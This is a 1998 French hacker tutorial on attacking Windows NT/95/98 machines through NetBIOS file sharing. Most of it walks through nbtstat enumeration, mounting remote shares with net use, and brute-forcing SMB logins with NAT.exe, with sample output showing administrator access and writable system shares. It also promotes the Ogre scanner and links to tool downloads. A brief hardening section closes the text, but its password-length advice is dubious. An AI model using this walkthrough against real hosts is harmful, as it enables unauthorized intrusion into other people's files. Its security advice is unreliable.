Les Vulnerabilites de WinNT

                         Version 1.0

                   Par Bodhidarma de MHT

            WinNT – Sécurité – WinNT – Sécurité – WinNT


Projet Guardian,1e partie

Dans cette Lecture je vais essayer de répondre à plusieurs questions critiques
concernant la securité sous WinNT ; cette Doc traite uniquement d'attaque venant
de l'exterieur d'un serveur NT.

 En aucun cas cette Doc n'est destinée à aider certaines personnes à s'introduire
dans des serveurs.Utilisez cette Documentation à bon escient,elle a été écrite dans
un but purement éducatif.

Tous les programmes mentionnés dans ce texte sont téléchargeable sur les sites
suivants:

http://www.rhino9.org

http://www.technotronic.com

  

            WinNT – Sécurité – WinNT – Sécurité – WinNT


                   L'ATTAQUE NETBIOS 

Cette attaque n'est pas juste spécifique au serveur NT mais aussi à Win95 et Win98.
Cette attaque a ete teste et verifie par Vacuum et Chameleon de Rhino9 sur ces
quelques versions : 

  Win95 
  NT 4.0 Workstation 
  NT 4.0 Server 
  NT 5.0 Beta 1 server 
  Windows 98 Beta 2.1 

Pour ma part je me suis chargé de la tester sur les versions OSR de Win95 et sur la
version finale de Win98 ,malheureusement(ou heureusement pour certain)cette
attaque n'a toujours pas été patchée. Tout d'abord avant de rentrer dans le vif du sujet
et d'aborder les questions de securité il importe de s'informer un peu sur le NETBIOS,
je vous donne donc un petit explicatif ci-dessous.

            WinNT – Sécurité – WinNT – Sécurité – WinNT


                 Qu'est-ce que le NETBIOS ?

 Le NETBIOS(Network Basic Input Output System) a été développé par IBM et
SYTEK en tant qu'API ,ceci afin d'être utilisé par les programmes clients afin d'accéder
aux ressources LAN(Local Area Network ou Réseaux local) Le NETBIOS a été depuis
adopté en tant que standard de référence par les programmeurs des grandes firmes
informatiques. Le NETBIOS en fait standardise l'interface entre les applications(clients
etc...) et les capacités opérationnelles des réseaux LAN, ainsi donc le NETBIOS peut
être entendu comme un régulateur entre réseau et client. Derniere remarque, dans un
réseau utilisant le NETBIOS ,chaque ordinateur possède un nom spécifique à lui tout
seul sur le réseau(cette information est trés importante pour la suite.)

                 Detail de L'Attaque NETBIOS 

Tout d'abord cette attaque ce fait à partir d'une Interface Windows
(Win95,98,NT),pour ceux qui sont encore sous Win3.x arretez de lire cette doc elle ne
vous sert strictement a rien....(à part à vous informer) 

Les 3 façons d'attaquer sont :  

     Sous une fenêtre DOS 
     En utilisant NAT.exe (du Groupe Rhino9) 
     En utilisant Ogre(Du groupe Rhino9,la version 2.0 codée par MHT doit sortir
     debut juin) 

 

            WinNT – Sécurité – WinNT – Sécurité – WinNT


                Commençant par la fenêtre DOS 

On commence par utiliser la commande –Nbtstat : 

Exemple : nbtstat -A 202.132.15.26

 Explication : 

 -->nbtstat est la commande sous Dos qui demande le statut des sessions NETBIOS.

-->Le -A est pour preciser que nous allons donner une IP 

-->202.132.15.26 : c'est l'IP que nous allons scanner 

Remarque : Si on voulait mettre une DNS on ecrirait 

nbtstat -a www.adresseatester.com

avec un -a et non un -A ok ? j'ai vu cette erreur 3000 fois. Donc -A : c'est pour Les IP
et -a : c'est Pour les DNS .  Apres avoir donc écrit nbtstat -A 202.132.15.26 on a
normalement ça si tout va bien et que la "machine cible" est sous WinNT,95 ou 98 : 

 

 NetBios Remote Machine Name Table 

 Name Type Status 

----------------------------------------------------------------------

 USER <20> Unique Registered
 USER <00> Unique Registered
 DOMAINE <00> Group Registered
 DOMAINE <1C> Group Registered
 DOMAINE <1B> Unique Registered
 USER <03> Unique Registered
 DOMAINE <1E> Group Registered
 DOMAINE <1D> Unique Registered
 ..__MSBROWSE__. <01> Group Registered


 

MAC adress = 00-C0-3A-C2-8C-9E

 

Voila ce que l'on a , ce qui peut paraitre trés barbare ..... et voila la légende : 

 Nom de L'ordi. <00> UNIQUE workstation service name<00> GROUP domain name 

Serveur <20> UNIQUE Server Service name

 

Nom de L'ordi. <03> UNIQUE Registered by the messenger service. This is the
computername to be added to the LMHOSTS file but is necessary if you would like to
view the remotecomputer in Network Neighborhood.

 nom du User <03> Registered by the messenger service.  

Nom du Domaine <1B> Registers the local computer as the master browser for the
domain

 Nom du Domaine <1C> Registers the computer as a domain controller for the domain
(PDC or BDC)

 Nom du Domaine <1D> Registers the local client as the local segments master
browser for the domain

Nom du Domaine <1E> Registers as a Group NetBIOS Name

<BF> Network Monitor Name

<BE> Network Monitor Agent

<06> RAS Server

<1F> Net DDE

<21> RAS Client

Voila Voila c'est toujours aussi Barbare ? Je sais .... ça ne sert presque à rien 

Donc on continue, on a eu ça : 

 c:\windows\nbtstat -A 202.132.15.26

NetBios Remote Machine Name Table 

 Name Type Status 

----------------------------------------------------------------------

 USER <20> Unique Registered
 USER <00> Unique Registered
 DOMAINE <00> Group Registered
 DOMAINE <1C> Group Registered
 DOMAINE <1B> Unique Registered
 USER <03> Unique Registered
 DOMAINE <1E> Group Registered
 DOMAINE <1D> Unique Registered
 ..__MSBROWSE__. <01> Group Registered


MAC adress = 00-C0-3A-C2-8C-9E

 

on va maintenant regarder les ressources partagés ,on utilise pour cela la commande

-net view- : 

 c:\net view 202.132.15.26 ou net view \\le nom de l'ordi 

 on a alors : 

 c:\net view 202.132.15.26 

 Share name Type Used as Comment

 ------------------------------------------------------------------------------

C Disk Dique Dur

D Disk RAC 

The command completed successfully.

A remarquer : ici on ne verra pas le C$ ADMIN$ et IPC$(cachés) 

Apres tout cela on n'a qu'a le "monter" en utilisant la commande net use : 

 

c:\net use z: \\202.132.15.26\D

The command Completed Successfully.

c:\net use 

New Connection will be Remembered

-------------------------------------------------------------------------------

OK Z: \\202.132.15.26\D Microsoft Windows Network

OK \\202.132.15.26\C Microsoft Windows Network

The command completed successfully.

Voilaaaaaaaaaaaaaaaaaaa Gagné !!!!

on a qu'a regarder aprés le contenu de z: pour voir le disque dur d: de l'ordinateur 

à l'IP 202.132.15.26

Voila pour la partie DOS. 

            WinNT – Sécurité – WinNT – Sécurité – WinNT


                     En Utilisant Nat.exe

 

Nat.exe est un petit programme crée par Chameleon et Vacuum de Rhino9 afin de
faciliter toutes ces petites démarches pour l'attaque NETBIOS...vous pouvez le
télécharger à www.rhino9.org ,une petite interface Graphique a été rajoutée aussi afin
de faciliter son execution. Un petit copié-coller étant mieux qu'une longue explication
Voila donc une session sous DOS : 

 C:\nat -o vacuum.txt -u userlist.txt -p passlist.txt 202.132.15.26

  

[*]--- Reading usernames from userlist.txt ----> là il regarde la liste des Noms

[*]--- Reading passwords from passlist.txt ----> là il regarde la liste des Passwords

Vu que certain Serveur sont protégé par Password, Nat.exe utilise une technique de
Brute Force Attack et demande donc 2 fichiers : un de passwords et un de noms
d'users

[*]--- Checking host: 202.132.15.26

[*]--- Obtaining list of remote NetBIOS names

[*]--- Attempting to connect with name: * ---> là il teste des Noms d'users

[*]--- Unable to connect ---> ça ne marche pas avec ce nom là 

[*]--- Attempting to connect with name: *SMBSERVER

[*]--- CONNECTED with name: *SMBSERVER ---> là ça vient de marcher !!!!!

[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03

[*]--- Server time is Mon Dec 01 07:44:34 1997

[*]--- Timezone is UTC-6.0

[*]--- Remote server wants us to encrypt, telling it not to ---> pas le Bon password

[*]--- Attempting to connect with name: *SMBSERVER

[*]--- CONNECTED with name: *SMBSERVER

[*]--- Attempting to establish session

[*]--- Was not able to establish session with no password ---> marche pas aussi

[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password:
`password'

[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'

A ce stade là on est connecté au Serveur 

 

[*]--- Obtained server information:

Server=[SERVEUR] User=[] Workgroup=[DOMAINE] Domain=[]

[*]--- Obtained listing of shares:

Sharename Type Comment

--------- ---- -------

ADMIN$ Disk: Remote Admin

C$ Disk: Default share

IPC$ IPC: Remote IPC

NETLOGON Disk: Logon server share 

Test Disk: 

Nat.exe nous donne ADMIN$ et IPC$ ce que ne donne pas nbtstat 

[*]--- This machine has a browse list:

Server Comment

--------- -------

SERVEUR 

Nat.exe va essayer de s'introduire dans quelques Directory et tester la securité

du serveur....en se connnectant à tous les Disques et l'IPC : 

[*]--- Attempting to access share: \\*SMBSERVER\

[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$

[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$

[*]--- Checking write access in: \\*SMBSERVER\ADMIN$

[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

[*]--- Attempting to access share: \\*SMBSERVER\C$

[*]--- WARNING: Able to access share: \\*SMBSERVER\C$

[*]--- Checking write access in: \\*SMBSERVER\C$

[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON

[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON

[*]--- Checking write access in: \\*SMBSERVER\NETLOGON

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

[*]--- Attempting to access share: \\*SMBSERVER\Test

[*]--- WARNING: Able to access share: \\*SMBSERVER\Test

[*]--- Checking write access in: \\*SMBSERVER\Test

[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test

[*]--- Attempting to access share: \\*SMBSERVER\D$

[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ROOT

[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\WINNT$

[*]--- Unable to access

 

Voila , Donc on peut écrire sur tous les Disques Durs et y modifier toutes les infos Ce
qui est un Grand Bug de securité..... l'avantage de Nat.exe c'est qu'il automatise toutes
ces procédures et permet aussi de scanner une grande partie d'IP,on a donc un gain
de temps et d'efficacité.

Voila pour Nat.exe 

            WinNT – Sécurité – WinNT – Sécurité – WinNT


                  L'avenement d'OGRE

 Ogre, est un programme qui scanne aussi le Netbios.Sa puissance réside dans le fait
que Ogre est lancé sous Win95 ou 98 et qu'il automatise parfaitement toute l'attaque,
avec en plus une interface Graphique assez conviviale, en plus de scanner Le
Netbios,Ogre fait aussi un scan de port,essaye d'exploiter quelques Bugs sous
FrontPage et sous IIS on ne peut reprocher à Ogre que ça lenteur et ces
plantages...L'Equipe de MHT en accord avec Rhino9 a fini de recoder Ogre en VC++ et
a résolu ces petits problemes, tout en rajoutant de nouveaux exploits et un nouveau
scanner de port.Sortie de Ogre V2.0 MHT release début Juin 98. 

 

Donc dés que l'on a fini de scanner avec Ogre, on a qu'a crée un fichier LMHOSTS
sous dos (en tapant simplement "edit lmhosts" ATTENTION LMHOSTS DOIT ETRE
DANS C:\WINDOWS! on introduit les IP des Ordinateurs avec les ressources
partagés tel que : 

 exemple : 

 202.132.159.45 JIMMY <-------- JIMMY etant: RAPPEL!! ==> <03> UNIQUE
Registered by the messenger service. This is the computername to be added to the
LMHOSTS file but is necessary if you would like to view the remote computer in
Network Neighborhood.

145.235.143.25 PARIS 

 etc... 

 apres sous une fenetre DOS on fait : 

 c:\windows\nbtstat -R 

NetBios Table Successfully Purged and Reloaded 

 

Voila , on n'a plus qu'a repasser sous Windows et on fait : Recherche ---> Ordinateur
on écrit le Nom de l'ordinateur et nous y voila!!!

C'est la maniere d'attaquer la plus simple pour Le NETBIOS.  

            WinNT – Sécurité – WinNT – Sécurité – WinNT


Voila comment attaquer un serveur NT ou Win(95,98),cette attaque peut paraitre trés
simple mais elle peut s'avérer dangereuse si vous avez des données sensibles sur
votre Disque Dur. Donc dans la partie qui suit je vous explique comment SECURISER
votre serveur.

 

            WinNT – Sécurité – WinNT – Sécurité – WinNT


         Securiser son Serveur contre l'attaque NETBIOS

 

Pour les administrateurs de Serveurs NT : 

 

1 Déconnectez la "NetBIOS interface" ,le "Serveur" et "Station de travail" du "Client
WINS(TCP/IP)"

   2.Dans le Partage de Fichiers et imprimante : optez pour l'option Mot De passe 
   3.Le Mot de passe devrait etre de préference de plus de 8 Lettres 
   4.La methode d'encryption de Passwords sous Windows est une Methode DES
     donc le fait de mettre plus de 8 lettres avec des caractéres spéciaux bloque les
     meilleurs Crackers 

 

Pour les utilisateurs Win(95,98) 

 

Même chose que pour WinNT Sauf la partie 1 

 

            WinNT – Sécurité – WinNT – Sécurité – WinNT


Voila ,j'espere que cette premiere partie des "Vulnaribilités WinNT" vous aura été
d'une quelconque utilité.j'espere sortir la partie 2 vers le debut du mois de Juin.
N'hesitez pas a m'envoyer des mails: Complaintes,corrections,Questions etc...
j'essayerai de les prendre tous en compte pour mes prochaines versions envoyez vos
mail a :Bodhidarma@hotmail.com ou a tous le groupe a : mht@pemail.com 

 

            WinNT – Sécurité – WinNT – Sécurité – WinNT


Un grand Merci a Chameleon et Vacuum du Rhino9(Leur Doc est sur le site
www.technotronic.com) team qui ont accepté de collaborer avec MHT security team
pour sortir cette petite Doc.  

                   Mardi 26 Mai,6 Heure 30 AM